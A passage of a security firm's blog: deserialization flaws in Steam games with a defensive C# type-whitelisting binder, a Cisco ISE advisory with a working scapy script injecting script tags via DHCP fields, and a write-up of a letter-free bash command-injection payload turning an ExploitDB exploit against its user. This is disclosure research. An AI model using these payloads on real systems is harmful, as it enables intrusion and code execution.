    Figure 2 - Output of scan

    Each of the generated output files contains information about which functions were called and from where.

    Of particular interest are of course calls to BinaryFormatter::Deserialize, since they are potential sinks for a deserialization attack.

    Figure 3 - Extracted method call information

    When a game using BinaryFormatter is discovered, we need to check for deserialization gadgets within it. Because Unity for instance only loads DLLs included in the games folders, it is necessary to verify which gadgets actually exist since not all known gadgets for that .Net version may be available.
    Using NetGadget this process can be significantly sped up, since it can automatically scan for the existance of such gadgets.

    Figure 4 for example shows a scan of the game Dragon Cliff. It uses BinaryFormatter insecurely, but the only potential gadget chain our tool reports is a false positive. This particular false positive generally shows up when .Net 2.0 is being used and gives a good indication that no gadget chains are available.

    Figure 4 - No real gadget chain in Dragon Cliff

    If you compare this to Figure 5, the scan of Tabletop Simulator, a lot more gadget candidates are shown, among them some well known gadget chains, like TempFileCollection or TypeConfuseDelegate1.

    Figure 5 - Excerpt of gadget chain candidates of Tabletop Simulator

    Once a potential entry point and the existence of deserialization gadgets have been confirmed, as a next step the potential entry points and their call trees need to be evaluated manually with dnSpy or a similiar tool.

    This approach has proved efficient in quickly reducing the number of games potentially vulnerable to .Net deserialization attacks. The scanned steam library contained around 400 games (not all of them made in .Net). Eventually around 30 vulnerable games were identified of which 14 were exploitable.

    Deserialization Attacks in Totally Accurate Battle Simulator

    We will refrain from using screenshots of code that isn't ours. For this reason the following explanations of the details of certain vulnerabilities will discuss the control flow and function names, but not the details of the code in question.

    Where is serialization used

    Totally Accurate Battle Simulator by Landfall Games is a sandbox game that simulates battles with ragdoll physics.
    BinaryFormatter is used to let Players build custom battles and campaigns and to share them over the Steam Workshop

    NetGadget flagged the following methods as using the call to BinaryFormatter::Deserialize

  • Landfall.TABS.Workshop.CampaignHandler::GetLoadedCampaignFromDisk
  • Landfall.TABS.Workshop.CampaignHandler::LoadFactionFromDisk
  • Landfall.TABS.Workshop.CampaignHandler::GetLoadedLayoutFromDisk
  • Landfall.TABS.Save.SteamSavesLoader::ReadLocal
  • Landfall.TABS.Save.SteamSavesLoader::OnRemoteStorageFileReadAsyncComplete
  • This leads to two distinct vulnerabilities. One involves the loading of save games and affects the last two functions, the other involves the loading of custom campaigns and battles and affects the first three.

    Save Game Vulnerability

    This vulnerability is short and sweet.
    Since OnRemoteStorageFileReadAsyncComplete will eventually also call ReadLocal, it's enough to investigate what is required to exploit ReadLocal.

    ReadLocal simply reads all bytes of the save file and deserializes them with BinaryFormatter. Thus it's enough to overwrite the save file to trigger a deserialization vulnerability.

    After replacing the save game with a TypeConfuseDelegate payload and starting the game, we see Figure 6 - Success!

    Figure 6 - Sample payload starting two cmd.exe processes

    Workshop Vulnerability

    This vulnerability is a little more involved, but can be used remotely through the Steam Workshop. Due to the nature of the workshop this vulnerability was only tested locally to prevent the accidental spread of the exploit.

    The loading of a faction, campaign or layout from disk will deserialize the associated data. All of those functions are internally called either when a mod is already installed and is being loaded or through a custom content loader's LoadLocalCustomContent method.

    Depending on the type of the content, it will invoke either of the vulnerable functions. The LoadLocalCustomContent itself is only called by the content loader's QuickRefresh method.

    The QuickRefresh method is called from a lot of different sections in code, most interestingly by OnDownloadSuccess and OnSubSuccess as well as the onModBinaryInstalled callback.

    This means that after a mod has been downloaded it will immediately be deserialized, allowing an attacker to trigger the vulnerability by uploading a mod to the Steam Workshop

    Deserialization Attacks in Tabletop Simulator

    We will refrain from using screenshots of code that isn't ours. For this reason the following explanations of the details of certain vulnerabilities will discuss the control flow and function names, but not the details of the code in question.

    Where is Serialization Used

    Tabletop Simulator by Berserk Games is a multiplayer physics sandbox that allows players to create and play tabletop games remotely.

    In order to facilitate the exchange of games and the storing of table states the game employs two different methods of serialization: Newtonsofts' JsonSerializer and BinaryFormatter. The vulnerabilities we've found lie in the parts of the code that use BinaryFormatter.

    BinaryFormatter is used to load what the code refers to as a PhysicsState.

    The deserialization of such a physics state can either be triggered over the network through the LoadPromotedPhysicsState RPC call or through the loading of a mod that isn't in JSON format.

    The RPC Vulnerability

    Tabletop Simulator has an RPC mechanism that is, among other things, used to administrate a game host remotely.

    One of these administrative functions is LoadPromotedPhysicsState.
    It gets passed an array of bytes which are then used to call GetPhysicsState, which in turn calls BinaryFormatter::Deserialize with the data. To call this function two criteria need to be met.

  • Firstly it may only be called on the host of a game.
  • Secondly it may only be called by users with admin privileges in that hosts session.
  • Requiring administrative privileges on a server to exploit the host seems restrictive at first.
    A server's host can however migrate the hosting of the game to another client on the server. This causes two main changes in user roles in the game.

  • Firstly it makes the client, that was migrated to, a host, fulfilling the first requirement.
  • Secondly the former host is promoted to admin in the new hosts session, fulfilling the second requirement.
  • Thus a malicious host can meet both requirements by migrating the host to their target. They can then send an arbitrary byte array to the newly created host's LoadPromotedPhysicsState method, triggering deserialization with arbitrary data.

    This allows a deserialization attack to be performed which can execute arbitrary code remotely.

    The following video demonstrates this attack from the victims perspective.

    The Mod Vulnerability

    In Tabletop Simulator users can upload their table setups and scripts into the Steam Workshop to share them with the community. These mods can be subscribed to and downloaded to use by any player. When a mod has finished downloading it will eventually be deserialized.
    When the download from the Steam Workshop has completed the CallResultWorkshopReadDownload callback method will be invoked.
    This method in turn calls SerializationScript::Save which attempts to load the file contents with the GetPhysicsState method first and the JSON Serializer second.
    GetPhysicsState then invokes BinaryFormatter::Deserialize.

    A malicious attacker is able to upload a mod that will execute arbitrary code when deserialized, potentially allowing it to spread through the Steam Workshop.


    In its default configuration BinaryFormatter in .Net is insecure. Several well known gadget chains exist that can be easily used to gain arbitrary code execution.

    BinaryFormatter does however allow the definition of a Binder class which handles the resolution of types used in the Serialization and Deserialization processes.

    Using such a Binder, whitelisting of expected types can be facilitated with relative ease, providing resilience against deserialization gadgets. This method was used to fix all of the vulnerabilities mentioned above. Following is an example Binder that allows the restriction of deserialized types to those required to deserialize the generic type T. It is provided under the GNU All-permissive license.

    /*Copyright 2020, Nils Ole Timm - modzero
    Copying and distribution of this file, with or without modification,
    are permitted in any medium without royalty,
    provided the copyright notice and this notice are preserved.
    This file is offered as-is, without any warranty.*/
    using System;
    using System.Collections.Generic;
    using System.Linq;
    using System.Text;
    using System.Threading.Tasks;
    using System.Reflection;
    using System.Collections;
    using System.Runtime.Serialization;
    using System.Runtime.Serialization.Formatters.Binary;
    using System.Runtime.Serialization.Formatters;
    namespace StronglyTypedSerializationBinder
        //A binder can control which types are used in deserialization
        //This binder only allows the deserialization of objects of the expected type
        //and its member fields
        public class StronglyTypedBinder<T> : SerializationBinder
            //This function is called when the deserialization needs to find the runtime type
            //associated with the stored type of the serialized data
            public override Type BindToType(string assemblyName, string typeName)
                Type type;
                //Compute the allowed types for this deserialization binder if they haven't already
                //been computed
                if (allowedTypes.Count == 0)
                if (allowedTypes.TryGetValue(typeName, out type))
                    return type;
                //If the type isn't found return typeof(object) to cause harmless default behaviour
                return typeof(object);
            //Calculate which types should be allowed for type T
            private void ComputeAllowedTypes()
                Type baseType = typeof(T);
                //Add base type and types of fields and their fields recursively up to maximum depth
                AddAllowedTypesRecursive(baseType, 0);
            //Recursively add types of fields to list
            private void AddAllowedTypesRecursive(Type t, int depth)
                //Stop when maximum depth of recursion is reached
                if (depth > MAX_RECURSIONS)
                //Add base type if not already added
                if (!allowedTypes.ContainsKey(t.FullName))
                    allowedTypes.Add(t.FullName, t);
                //If type is primitive no need to recurse further
                if (t.IsPrimitive)
                //If type is generic, handle fields and generic parameters and do special handling of Dictionary
                else if (t.IsGenericType)
                    Type[] genericArguments = t.GetGenericArguments();
                    foreach (Type t2 in genericArguments)
                        AddAllowedTypesRecursive(t2, depth + 1);
                    foreach (FieldInfo fi in t.GetFields(BindingFlags.Instance | BindingFlags.Public | BindingFlags.NonPublic))
                        AddAllowedTypesRecursive(fi.FieldType, depth + 1);
                    if(t.GetGenericTypeDefinition() == typeof(Dictionary<,>))
                        AddAllowedTypesRecursive(Type.GetType("System.Collections.Generic.GenericEqualityComparer`1").MakeGenericType(t.GetGenericArguments()[0]), MAX_RECURSIONS);
                        AddAllowedTypesRecursive(typeof(KeyValuePair<,>).MakeGenericType(genericArguments), MAX_RECURSIONS);
                //If type is an array add the type of the element
                else if (t.IsArray)
                    AddAllowedTypesRecursive(t.GetElementType(), depth + 1);
                //In all other cases add the types of all fields
                else foreach (FieldInfo fi in t.GetFields(BindingFlags.Instance | BindingFlags.Public | BindingFlags.NonPublic))
                        AddAllowedTypesRecursive(fi.FieldType, depth + 1);
            static Dictionary<string, Type> allowedTypes = new Dictionary<string, Type>();
            const int MAX_RECURSIONS = 4;

    Posted by Nils Ole Timm | Permanent link | File under: security, software, hacking, exploit, re , advisory


    More security brings more insecurity

    modzero found a vulnerability in the Cisco Identity Services Engine (ISE) environment, which allows arbitrary participients of a network to inject arbitrary JavaScript payload right into the administrative webpage of the Cisco ISE administration interface.

    CISCO ISE is considered to enhance the overall network security, by limiting access to local area networks. Arbitrary users using DHCP as a yet anonymous participent are able to exploit weaknesses in Cisco's administrative interfaces and thus by-pass the increased security level:

    The hostname and the vendor_class_id options of any DHCP request can be abused to inject malicious payload to execute code in the context of the browser of the administator, connecting to the Web interface. Further details and a PoC are available in our advisory.

    Direct Link: https://www.modzero.com/advisories/MZ-19-03-CISCO-ISE.txt

    modzero Security Advisory:
    Unauthenticated persistent cross-site scripting injection into the
    administrative console of CISCO ISE web application via DHCP request
    1. Timeline
    * 2019-11-22: Advisory sent to Cisco PSIRT psirt@cisco.com
    * 2019-11-22: PSIRT opened case (PSIRT-0535851956) 
    * 2019-11-22: PSIRT communicated tentative publishing date '2020-02-19'
    * 2020-02-12: PSIRT incident manager confirmed reproduceability
    * 2020-02-12: Received an unofficial CVE Number CVE-2020-3156
    * 2020-02-19: modzero released advisory to the public
    In  accordance  with  modzero's  disclosure  policy,  the  advisory  is
    expected  to  be published  not  later than  February  21st, 2020.  Our
    disclosure policy is available at:
    2. About
    Affected vendor: Cisco
    Latest known to be vulnerable version products:
        * Cisco Identity Services Engine version, Patch 2,3
          - Product Identifier: SNS-3655-K9
          - Version Identifier A0
          - ADE-OS Version
    The Cisco Identity Services Engine is the engine behind Cisco's Network
    Access Control  solution. It  enables the  creation and  enforcement of
    security and access policies for endpoint devices connected to the
    company's routers and switches. 
    3. Details
    An unauthenticated attacker who is  able to inject a specially  crafted
    DHCP  request  packet into  the  network controlled  by  Cisco Identify
    Service  Engine  (ISE),  is  able to  persistently  store  code  (e. g.
    JavaScript),  which  is  executed in  the  context  of the  Web-browser
    accessing the Web-based management interface.
    The vulnerability is due to insufficient validation and encoding of the
    attacker-controllable  input  within  the  hostname  and  vendor  class
    identifier field of processed DHCP request packets.
    The attacker-controlled  code will  be executed  in the  context of the
    user  of the  Web-based management  console. If  a legitimate  user is
    reviewing  an  Endpoint's  attributes  within  the  Identity   Services
    Engine's Web- based-management-interface.
    The attacker-controlled  code will  be executed  in the  context of the
    user that is currently logged  in to the Web-based management  console,
    when  the  endpoint  attribute  details  are  reviewed  by  opening the
    4. Impact
    The code will be executed with the rights of the user accessing the Web-
    based management console. If the user has administrative rights, the
    attacker might be able to leverage arbitrary functions of the Web-based
    management interface.
    5. Proof of Concept exploit
    Using the following python script, two simple JavaScript code fragments 
    will be sent in the hostname and vendor class identifier fields of the
    DHCP request. 
    #!/usr/bin/env python
    from scapy.all import *
    import scapy
    conf.iface = "eth0"
    hostname_payload = "<script>alert('hostname payload')</script>"
    vendor_class_id_payload = "<script>alert('v class id payload')</script>"
    _, hw   = get_if_raw_hwaddr(conf.iface)
    ethernet = Ether(dst='ff:ff:ff:ff:ff:ff', src=hw, type=0x800)
    ip       = IP(src ='', dst='')
    udp      = UDP (sport=68, dport=67)
    bootp    = BOOTP(op=1, chaddr=hw)
    dhcp     = DHCP(options=[("message-type","request"), \
        ("hostname",hostname_payload),("vendor_class_id", \
    packet   = ethernet / ip / udp / bootp / dhcp
    sendp(packet, iface=conf.iface)
    Once a person reviews the attributes of an endpoint within the ISE web-
    based management interface the code will be executed.
    6. Workaround
    7. Fix
    No software updates are available yet.
    8. Credits
     * Max Moser 
     * Katharina Maennle
    9. About modzero
    The independent company modzero assists clients with security  analysis
    in  the  complex areas   of  computer technology.  The  focus  lies  on
    highly   detailed   technical  analysis   of   concepts,  software  and
    hardware  components  as  well   as  the  development  of    individual
    solutions.  Colleagues   at modzero  work   exclusively in   practical,
    highly technical computer-security areas and can draw on decades of
    experience in various platforms, system concepts, and designs.
    Website: https://www.modzero.ch
    E-Mail: contact@modzero.ch
    10. Disclaimer
    The information in the advisory is believed to be accurate at the time
    of publishing  based on  currently available  information. Use  of the
    information  constitutes acceptance  for use  in an  AS IS  condition.
    There are no warranties with  regard to this information. Neither  the
    author  nor  the  publisher  accepts  any  liability  for  any direct,
    indirect, or consequential loss or damage arising from use of, or
    reliance on, this information.

    Posted by modzero | Permanent link | File under: security, software, hacking, cisco, exploit, advisory


    Exploit Wars II - The server strikes back

    When working in security we usually worry about the security of our customers and the potential vulnerabilities in their software or their configurations.

    But what about the attackers? Hardly anybody seems to worry about them, and even they themselves are usually mostly concerned with OPSEC if anything at all.

    Given that inherent imbalance it seemed only fair to look at the security of exploits for once, rather than always servers or services.

    Finding an Exploit to Exploit

    There are some prerequisits for an exploit to be exploitable in an impactful way.

    • It should be readily available. Otherwise any potential exploit is very unlikely to work on any kind of scale.
    • It should be a remote exploit. Otherwise it wouldn't really run on the attackers (or is it victim now?) system.
    • Ideally it uses a system() function call. This is a good target for making command injection work.
    • It needs to act differently depending on a server response. Otherwise we have no way to influence the exploit we want to exploit.

    The first three points can be easily handled.

    • Availability - Everything that is in ExploitDB is widely available
    • Remote Exploit - grep for "remote"
    • Using system() - grep for "system(.*)"

    For the last point things are a bit more tricky and require manual inspection eventually. Which isn't too bad, since ultimately, even if it uses user input(/victim input), we'd still have to manually check if it's exploitable. Luckily for us Kali Linux comes preinstalled with exploitdb, so searching through the files is easy.

    Fig.1 - The search command

    After a bit of manual inspection we find a candidate.

    The Victim Exploit

    The exploit is for Mozilla Bugzilla up to and including 2.10.

    In the process of exploitation it fetches a product name from the server using lynx and a call to system(). The call to system() is a good indicator for potential exploitation. You can see the relevant part of the exploit below. The line has been cut off a bit on the right, but it just passes more parameters and pipes the output into a file.

    Fig.2 - Fetching a product name

    After fetching the information, it processes it to extract the product name. Essentially it extracts everything after "product=" up until the first double quote.

    With the extracted product name it sends another request to the server to get additional information. In that request it uses the product name that was previously extracted from the servers' reply.

    Fig.3 - Using the product name

    The line is again cut off on the right. Simply because it's too long. The only important thing to know about the missing part is that the output is piped into a file named enter_bug.cgi

    This call to system() uses the $page variable, which is constructed from the product name in $product amongst other things. So there's a way to influence the call to system() with what is returned to the first request: arbitrary data from an untrusted source, namely the exploitee.

    The only TINY problem is that the product name is encoded using the antiIDS() function.

    The Little Big Problem of Getting Through the Anti IDS Encoder

    Let's take a look at antiIDS(), which is built to circumvent Intrusion Detection Systems by avoiding certain characters.

    Fig.4 - The HORROR

    Well, that's easy. Just write a command injection that doesn't use any of the following characters:

    • Numbers
    • Letters
    • Any quotation marks
    • Spaces
    • .-|<>\

    Okay, so maybe we should see if we can find another vulnerable exploit.

    At this point I actually went to look for other potentially vulnerable exploits, came up with nothing and eventually got back to this one. We sat down to look at this with the CTF team I participate in and had a go at it. It's surprisingly tricky to do anything without letters or numbers, so when we found a way to be able to use numbers we were all really excited. I'll try to explain how it works below.

    Bashing our Heads Against the Wall

    Globbing may help: Linux shells can expand certain characters to match multiple paths at once. A * matches anything in the current directory. A ? matches a single character.

    So /b?n/b?sh will most likely match /bin/bash, but in contrast to the characters / and ?, letters are filtered by the IDS routine. Unfortunately, when trying to run /???/???? in a shell, it runs the first match it finds, giving that program all other matches as parameters.

    We need to find something useful that we can uniquely match just from how many characters it has, so we can execute it using only ? and /. Sadly, there is nothing like that on a standard Kali Linux installation, which is what we are targeting.

    Creating Numbers From Tabs and Special Chars

    We can, however, declare a Bash function, since we can use () and {} as well as ;. With that ability and also $# which expands to the number of parameters given and using tabs instead of spaces, we can actually construct numbers like this:

    ____()    {    __=$#;};____    $#;_=$__;

    Let's break this one down:

    ____() { __=$#;}; declares the function ____ which assigns the number of its arguments to the variable $__.
    ____ $#; calls that function with one argument so that the number 1 is assigned to $__
    _=$__; assigns the number 1 to $_

    And after all that effort to create the number 1 we can use some more magic to construct the numbers 3 and 7 as well and create the expression /???/?1?/??????3?7 which matches only the path /usr/X11/python3.7.

    ____()    {    __=$#;};____    $#;_=$__;____    $#    $#    $#;___=$__;____    $#    $#    $#    $#    $#    $#    $#;/???/?$_?/??????$___?$__
    Note how we shortened the process for the last number a bit by skipping the assignment to another variable and used __ directly.

    That's great, but so far this would only spawn an interactive python shell, so we aren't fully there yet. As mentioned earlier, the response from the server is piped into a file called enter_bug.cgi. This file is placed in a newly created, empty directory. So if we do our same matching trick again, we will most likely match the exact file we want with ?????_???????.

    The Python executable takes this file then as an argument and executes it. We can just make the first line a python comment, which doesn't stop the regex from parsing the payload, and the rest will be valid python.

    Putting the Exploit in the Exploit

    Here's the finished Mozilla Bugzilla exploit exploit. Just serve this on the enter_bug.cgi request of your Bugzilla installation and watch the magic.

    #enter_bug.cgi?product=$(____()    {    __=$#;};____    $#;_=$__;____    $#    $#    $#;___=$__;____    $#    $#    $#    $#    $#    $#    $#;/???/?$_?/??????$___?$__    ?????_???????)
    import sys
    import os
    print("Yo dawg. I heard you like exploits. So I made an exploit for your exploit, so you can be exploited while you exploit.", file=sys.stderr)

    Fig.5 - The Magic
    And the process tree to prove it.
    Fig.6 - The Proof of Magic


    Don't run everything you find on the Internet! Especially if it's the response of a server you're attacking.

    At this point I'd also like to credit eibwen for his help with working out the payload. Finally, cross your heart, have you ever done backups of your Kali-system? :-)

    Posted by Nils Ole Timm | Permanent link | File under: opensource, github , hacking, opsec , exploit, rant